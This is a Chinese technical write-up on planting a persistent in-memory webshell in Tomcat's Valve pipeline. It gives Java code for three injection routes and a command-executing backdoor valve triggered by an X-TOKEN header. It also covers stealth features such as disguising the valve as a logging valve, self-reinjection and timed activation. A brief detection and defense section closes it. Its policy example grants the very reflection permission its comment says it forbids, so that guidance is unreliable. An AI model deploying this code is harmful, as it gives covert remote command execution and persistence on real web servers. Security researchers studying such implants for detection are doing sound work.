Java内存马——Tomcat Valve型的三种注入
字数 992 2025-08-30 06:50:12
Tomcat Valve型内存马注入技术详解
核心原理
Tomcat使用责任链模式处理请求,通过Pipeline和Valve机制实现:
- Pipeline:包含多个Valve的请求处理管道
- Valve:管道中的处理单元,每个负责特定任务(如认证、日志、访问控制)
- StandardWrapperValve:通常位于链尾,最终调用Servlet
- StandardContext:代表一个Web应用,持有其对应的Pipeline对象
攻击目标:将恶意Valve注入到目标Web应用的StandardContext的Pipeline中,通常插入在StandardContextValve和StandardWrapperValve之间,或者尽可能靠前。
注入方式详解
方式一:纯反射注入(无依赖)
适用场景:攻击者已获得代码执行能力,但当前环境没有Tomcat库依赖。
注入步骤:
-
获取WebappClassLoader
ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader(); -
反射获取StandardContext
// 获取WebappClassLoader的resources属性(StandardRoot) Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources"); resourcesField.setAccessible(true); Object standardRoot = resourcesField.get(webappClassLoader); // 获取StandardRoot的context属性(StandardContext) Field contextField = standardRoot.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object standardContext = contextField.get(standardRoot); -
获取Pipeline对象
Method getPipelineMethod = standardContext.getClass().getMethod("getPipeline"); Object pipeline = getPipelineMethod.invoke(standardContext); -
定义恶意Valve类(内存加载)
// 反射调用ClassLoader.defineClass方法 Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class<?> evilValveClass = (Class<?>) defineClassMethod.invoke( webappClassLoader, "com.evil.EvilValve", evilValveBytecode, 0, evilValveBytecode.length); -
实例化并注入Valve
Constructor<?> constructor = evilValveClass.getDeclaredConstructor(); constructor.setAccessible(true); Object evilValve = constructor.newInstance(); Method addValveMethod = pipeline.getClass().getMethod("addValve", Valve.class); addValveMethod.invoke(pipeline, evilValve); -
控制注入位置(可选)
Field valvesField = pipeline.getClass().getDeclaredField("valves"); valvesField.setAccessible(true); Valve[] valves = (Valve[]) valvesField.get(pipeline); // 创建新数组并插入恶意Valve到指定位置
恶意Valve实现模板:
public class EvilValve implements Valve {
private static final String password = "X-TOKEN";
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getHeader(password);
if (cmd == null) {
getNext().invoke(request, response);
return;
}
try {
String[] cmds = System.getProperty("os.name").contains("win") ?
new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
Process p = Runtime.getRuntime().exec(cmds);
// 读取输出并写入response
} catch (Exception e) {
response.getWriter().write("ERROR: " + e.getMessage());
}
}
// 其他接口方法空实现...
}
方式二:混合方式(利用Tomcat API & 反射)
适用场景:执行环境可以访问Tomcat内部API。
注入步骤:
-
获取StandardContext
// 通过ServletContext获取 ServletContext servletContext = request.getServletContext(); Field appCtxField = servletContext.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext); Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx); -
获取Pipeline对象
Pipeline pipeline = standardContext.getPipeline(); -
创建恶意Valve实例
// 动态生成字节码(ASM) ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "com/evil/HealthCheckValve", null, "org/apache/catalina/valves/ValveBase", null); // 生成invoke方法... byte[] bytecode = cw.toByteArray(); Class<?> valveClass = classLoader.defineClass( "com.evil.HealthCheckValve", bytecode, 0, bytecode.length); Valve evilValve = (Valve) valveClass.newInstance(); -
注入Valve到管道
pipeline.addValve(evilValve); // 调整位置到关键节点(反射操作) Field valvesField = pipeline.getClass().getDeclaredField("valves"); valvesField.setAccessible(true); Valve[] valves = (Valve[]) valvesField.get(pipeline); // 查找并插入到StandardContextValve前
方式三:Java Agent + ASM/Javassist字节码注入
适用场景:攻击者具备高权限,追求极致隐蔽性。
注入步骤:
-
注入Agent
// 获取目标Tomcat进程PID并注入 List<VirtualMachineDescriptor> vms = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : vms) { if (vmd.displayName().contains("catalina")) { VirtualMachine vm = VirtualMachine.attach(vmd.id()); vm.loadAgent("/path/to/agent.jar", "injection_params"); vm.detach(); } } -
Agent核心逻辑
public class EvilAgent { public static void premain(String args, Instrumentation inst) { inst.addTransformer(new CriticalClassTransformer()); } static class CriticalClassTransformer implements ClassFileTransformer { private final Set<String> TARGET_CLASSES = Set.of( "org.apache.catalina.core.StandardPipeline", "org.apache.catalina.core.StandardContextValve" ); @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { String dotClassName = className.replace('/', '.'); if (TARGET_CLASSES.contains(dotClassName)) { return modifyClass(dotClassName, classfileBuffer); } return null; } } } -
字节码修改(ASM实现)
private byte[] modifyStandardPipeline(byte[] origBytecode) { ClassReader cr = new ClassReader(origBytecode); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES); cr.accept(new ClassVisitor(Opcodes.ASM9, cw) { @Override public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions); if ("invoke".equals(name) && "(Lorg/apache/catalina/connector/Request;...)V".equals(desc)) { return new MethodVisitor(Opcodes.ASM9, mv) { @Override public void visitCode() { // 插入检测逻辑 mv.visitVarInsn(Opcodes.ALOAD, 1); // Request mv.visitMethodInsn(Opcodes.INVOKESTATIC, "com/evil/EmbeddedLogic", "checkRequest", "(Lorg/apache/catalina/connector/Request;)Z", false); Label skipLabel = new Label(); mv.visitJumpInsn(Opcodes.IFEQ, skipLabel); mv.visitInsn(Opcodes.RETURN); mv.visitLabel(skipLabel); super.visitCode(); } }; } return mv; } }, 0); return cw.toByteArray(); }
检测与防御
检测方案
-
Heap Dump分析
SELECT * FROM java.lang.Object WHERE toString() LIKE "%StandardContextValve%" AND dominators() INCLUDES $.valves -
RASP监控点
- 拦截ClassLoader.defineClass()调用
- 监控StandardPipeline.addValve()反射调用栈
- 检测非初始化阶段新增的Valve
-
行为特征检测
- 请求头包含X-TOKEN等固定标记
- 无关联页面的HTTP请求返回命令输出
防御措施
-
Tomcat配置加固
<!-- context.xml --> <Context allowPipelineModification="false"> -
运行时保护机制
public class ValveProtectionAgent { public static void premain(String args, Instrumentation inst) { inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> { if ("org/apache/catalina/core/StandardPipeline".equals(className)) { return patchPipelineClass(classfileBuffer); } return null; }); } } -
权限最小化
grant codeBase "file:${catalina.home}/webapps/yourapp/-" { // 禁止Valve修改权限 permission java.lang.reflect.ReflectPermission "suppressAccessChecks"; permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.core"; };
高级隐蔽技术
-
Valve伪装技术
public class AccessLogValveProxy extends AccessLogValve { private Valve original; private Valve malicious; @Override public void invoke(Request request, Response response) { if (isMaliciousRequest(request)) { malicious.invoke(request, response); return; } original.invoke(request, response); } } -
自保护机制
public void invoke(Request request, Response response) { // 检查自身是否仍在管道中 if (!isValveInPipeline(this)) { reinjectSelf(); } // 正常恶意逻辑... } -
环境感知触发
private boolean shouldActivate(Request request) { // 检查特定Header if (request.getHeader("X-Health-Check") != null) return true; // 检查特殊URL模式 String uri = request.getRequestURI(); if (uri.contains(";jsessionid=")) { return validateSessionToken(uri.split(";")[1]); } // 时间窗口激活 return (System.currentTimeMillis() % 60000) < 5000; }
以上内容详细介绍了Tomcat Valve型内存马的三种注入方式及其检测防御方法,涵盖了从基本原理到高级隐蔽技术的完整知识体系。